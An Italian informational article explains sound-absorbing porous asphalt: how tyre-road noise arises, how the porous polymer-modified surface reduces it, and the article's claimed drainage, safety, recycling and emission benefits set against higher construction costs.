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Contrastare il rumore generato dal traffico è un atto dovuto, perché possono essere anche gravi le ricadute sulla salute umana. E’ nato così l’asfalto “fonoassorbente”.
L’eccessivo rumore – alias inquinamento acustico – è un problema importante, al pari dell’altrettanto grave inquinamento ambientale. Entrambi, infatti, sono oggetto di discussione a livello politico, istituzionale e tecnico, poiché entrambi generano effetti negativi – talvolta parecchio gravi – sull’ambiente e sulla salute umana. Tanto che a ribadirlo più volte è stata anche l’Organizzazione Mondiale della Sanità. Concentrando l’attenzione sul rumore, va detto che una delle fonti più importanti è riconducibile proprio al traffico, sia esso cittadino oppure extraurbano. Ma contrastare il rumore generato dal traffico si può e si deve: ecco perché le università, gli enti di ricerca e le aziende del settore stanno lavorando e hanno lavorato per ricercare nuove soluzioni tecnologiche. Non solo però sui veicoli, ma anche sulle strade. E’ nato così – e man mano si sta sempre più diffondendo – l’asfalto “fonoassorbente”. Si tratta di asfalti il cui conglomerato ha proprietà drenanti e fonoassorbenti, poiché realizzati con un materiale molto poroso, prodotto grazie all’inserimento di particolari polimeri all’interno dell’impasto del bitume. Grazie alla sua caratteristica porosità è in grado di assorbire sia l’acqua piovana che le vibrazioni sonore. Essendo un ritrovato ancora piuttosto recente, l’asfalto fonoassorbente diffuso oggi porta con sé la risoluzione di altri problemi ambientali, collaterali a quelli relativi all’inquinamento acustico.
Tale asfalto, infatti, è concepito per portare benefici non solo dal punto di vista del rumore, ma anche dello smaltimento dei rifiuti e dell’inquinamento atmosferico, oltre che, naturalmente, della sicurezza stradale.
Quanto al grave problema dei rifiuti, l’obiettivo condiviso è quello di utilizzare sempre più diffusamente materiali riciclati, riducendo l’uso dei materiali cosiddetti vergini. In particolare, l’obiettivo è di utilizzare gli pneumatici esausti. Quanto all’inquinamento atmosferico, invece, i benefici dovrebbero arrivare se, come sembra essere, verrà via via ridotta la temperatura dei materiali usati e l’esposizione dei operatori a cui è demandato il compito della stesa delle pavimentazioni.
In particolare, l’obiettivo per i prossimi anni è quello di ridurre l’emissione dei vapori di idrocarburi policiclici aromatici (IPA), in quanto queste pavimentazioni potranno essere posate a temperature inferiori anche di 40 gradi rispetto a quelle tradizionali. Quanto alla sicurezza stradale, l’obiettivo è quello di aumentare l’attrito tra strada e veicolo. Pertanto, tali asfalti sono concepiti come asfalti drenanti. Infine, l’obiettivo più importante, ossia quello di ottenere migliori prestazioni acustiche in seguito alla posa di questi asfalti: sebbene siano obiettivi ambiziosi, c’è chi pensa che si possa ridurre l’inquinamento acustico urbano di almeno 5 dB (A), rispetto alle pavimentazioni tradizionali, con evidenti ricadute positive sul benessere e sulla salute dei cittadini. Fatta questa lunga, ma al contempo doverosa premessa, andiamo a delineare quali sono le cause del rumore prodotto dal traffico. In primis, il rumore sulle strade è generato dal rotolamento prodotto dal contatto dello pneumatico sull’asfalto.
Nel suo avanzamento veloce, infatti, lo pneumatico comprime l’aria davanti a sé e la intrappola tra la scolpitura della gomma ed il fondo stradale.
Il cuscinetto d’aria viene così laminato sotto la ruota: la propagazione del rumore sarà tanto più alta quanto più liscia è la strada e quanto è meno scolpita la gomma. In altre parole, la regolarità della superficie, la porosità e l’elasticità dell’asfalto sono i fattori che determinano la maggiore o minore rumorosità delle strade. Gli asfalti fonoassorbenti, data la loro macrotessitura, consentono all’aria di passare sotto la zona di contatto senza comprimersi troppo. In fase di rilascio, a valle della zona di contatto, l’onda acustica esce più smorzata e rimbalza sotto la scocca del veicolo in movimento con minore pressione e quindi con meno rumore. In altre parole, l’uso di asfalti fonoassorbenti permettono di registrare significative attenuazioni dei fenomeni di vibrazione da traffico veicolare e del rumore da rotolamento, con una riduzione in ambito urbano anche di 13 dB del livello sonoro.
Oltre al vantaggio di ridurre il rumore e di essere maggiormente drenante rispetto agli asfalti classici, gli asfalti fonoassorbenti, essendo maggiorente viscosi, sono più aderenti dal punto di vista strutturale: Ne consegue una durata maggiore, e pertanto maggiormente resistenti all’invecchiamento. Non solo: si deformano di meno e quindi resiste maggiormente al carico stradale. L’asfalto fonoassorbente riduce inoltre l’effetto aquaplaning, poiché aumenta l’aderenza dello pneumatico sul manto stradale, e migliora la visibilità notturna. Va anche detto che sono una valida alternativa ai pannelli fonoassorbenti, che hanno costi importanti, che riducono la visibilità dei paesaggi circostanti e che non sono utilizzabili nei contesti cittadini. Tra i difetti, principalmente quello legato ai costi: rispetto a un asfalto classico, i prezzi salgono, anche del 30 per cento.
Gli interventi di manutenzione della pavimentazione consistono solitamente nell’evitare che l’acqua penetri all’interno della struttura della strada. A tale scopo, è necessario che il manto sia sempre impermeabile e che i provvedimenti di drenaggio siano efficaci al fine di impedire che l’acqua non si depositi lungo il ciglio stradale. Essendo le pavimentazioni fonoassorbenti al contempo drenanti, gli interventi di manutenzione, rispetto a strade asfaltate tradizionalmente, sono inferiori. Quanto ai costi, si è già detto: le strade fonoassorbenti hanno dei costi di realizzazione più alti. Ma, per fare un bilancio e un confronto corretto, occorrerebbe computare una serie di costi e di risparmi apparentemente occulti. Inquinando di meno, hanno ricadute positive sull’ambiente e sulla salute. Ne consegue un interessante risparmio sociale.
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